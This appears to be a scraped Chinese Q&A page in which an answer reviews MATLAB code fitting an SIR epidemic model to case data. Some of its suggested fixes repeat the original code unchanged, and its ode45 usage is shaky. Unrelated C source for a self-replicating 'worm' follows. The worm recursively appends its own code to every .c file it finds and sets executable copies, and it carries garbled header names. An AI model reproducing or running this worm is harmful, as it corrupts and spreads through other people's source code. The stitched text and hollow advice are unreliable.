% 导入实际疫情数据 data = readtable('data.csv'); % 提取感染人数、康复人数和死亡人数 infected = data.Confirmed'; recovered = data.Recovered'; deaths = data.Deaths'; % 定义时间步长和时间间隔 dt = 1; tspan = 0:dt:length(infected)-1; % 定义初始条件 S0 = 1 - infected(1)/sum(data.Population); I0 = infected(1)/sum(data.Population); R0 = (recovered(1) + deaths(1))/sum(data.Population); y0 = [S0; I0; R0]; % 构建 SIR 模型函数 sir_model = @(t, y, beta, gamma) [-beta*y(1)*y(2); beta*y(1)*y(2)-gamma*y(2); gamma*y(2)]; % 定义残差函数 residuals = @(p) sum((ode45(@(t, y) sir_model(t, y, p(1), p(2)), tspan, y0, []).y(2,:) - infected).^2); % 初始参数值 p0 = [0.01, 0.001]; % 最小化残差函数 p = fminsearch(residuals, p0); % 输出估计的参数值 disp(p);

时间: 2024-02-28 14:55:57 浏览: 65
这段代码是用实际的疫情数据估计 SIR 模型中的未知参数 beta 和 gamma。代码中使用了 MATLAB 中的 `ode45` 函数对 SIR 模型进行求解,然后通过最小化残差函数来估计参数值。下面是一些修改建议: 1. 在使用 `ode45` 函数求解 SIR 模型时,需要将 `beta` 和 `gamma` 参数传入模型函数。因此,需要将 `sir_model` 函数修改为: ```matlab sir_model = @(t, y, beta, gamma) [-beta*y(1)*y(2); beta*y(1)*y(2)-gamma*y(2); gamma*y(2)]; ``` 2. 在计算初始条件时,需要使用实际数据对人口总数进行估计。因此,需要将计算 `S0`、`I0` 和 `R0` 的代码修改为: ```matlab S0 = 1 - infected(1)/sum(data.Population); I0 = infected(1)/sum(data.Population); R0 = (recovered(1) + deaths(1))/sum(data.Population); ``` 3. 在计算残差函数时,需要将 `ode45` 函数的输出转换为行向量,即: ```matlab residuals = @(p) sum((ode45(@(t, y) sir_model(t, y, p(1), p(2)), tspan, y0, []).y(2,:)' - infected).^2); ``` 4. 在输出估计的参数值时,可以添加一些注释来提高代码的可读性,例如: ```matlab % 输出估计的参数值 disp(['beta = ', num2str(p(1)), ', gamma = ', num2str(p(2))]); ``` 最终修改后的代码如下: ```matlab % 导入实际疫情数据 data = readtable('data.csv'); % 提取感染人数、康复人数和死亡人数 infected = data.Confirmed'; recovered = data.Recovered'; deaths = data.Deaths'; % 定义时间步长和时间间隔 dt = 1; tspan = 0:dt:length(infected)-1; % 定义初始条件 S0 = 1 - infected(1)/sum(data.Population); I0 = infected(1)/sum(data.Population); R0 = (recovered(1) + deaths(1))/sum(data.Population); y0 = [S0; I0; R0]; % 构建 SIR 模型函数 sir_model = @(t, y, beta, gamma) [-beta*y(1)*y(2); beta*y(1)*y(2)-gamma*y(2); gamma*y(2)]; % 定义残差函数 residuals = @(p) sum((ode45(@(t, y) sir_model(t, y, p(1), p(2)), tspan, y0, []).y(2,:)' - infected).^2); % 初始参数值 p0 = [0.01, 0.001]; % 最小化残差函数 p = fminsearch(residuals, p0); % 输出估计的参数值 disp(['beta = ', num2str(p(1)), ', gamma = ', num2str(p(2))]); ```
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#include <stdio.h> #include <stdlib.h> #include <string.h> #include <dirent.h> #include <sysat.h> #include <syspes.h> #include <unistd.h> #define FILENAME "worm.c" #define INFECTION_MARKER " #define INFECTION_MARKER" void infect_files(char *dir) { DIR *dp; struct dirent *entry; struct stat statbuf; FILE *fp, *infected_fp; char file_path[256], infected_file_path[256], line[512]; int infected = 0; if ((dp = opendir(dir)) == NULL) { perror("opendir"); return; } chdir(dir); while ((entry = readdir(dp)) != NULL) { lstat(entry->d_name, &statbuf); if (S_ISDIR(statbuf.st_mode)) { if (strcmp(".", entry->d_name) == 0 || strcmp("..", entry->d_name) == 0) { continue; } infect_files(entry->d_name); } else { if (strstr(entry->d_name, ".c") != NULL) { if ((fp = fopen(entry->d_name, "r")) != NULL) { while (fgets(line, sizeof(line), fp) != NULL) { if (strstr(line, INFECTION_MARKER) != NULL) { infected = 1; break; } } fclose(fp); if (!infected) { if ((fp = fopen(entry->d_name, "a")) != NULL) { if ((infected_fp = fopen(FILENAME, "r")) != NULL) { while (fgets(line, sizeof(line), infected_fp) != NULL) { fputs(line, fp); } fclose(infected_fp); } fclose(fp); infected = 1; } } } } } if (infected) { sprintf(file_path, "%s/%s", dir, entry->d_name); sprintf(infected_file_path, "%s/%s", dir, FILENAME); printf("Infected %s\n", file_path); link(file_path, infected_file_path); chmod(infected_file_path, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH); infected = 0; } } chdir(".."); closedir(dp); } int main(int argc, char **argv) { char *dir; if (argc > 1) { dir = argv[1]; } else { dir = "."; } infect_files(dir); return 0; }

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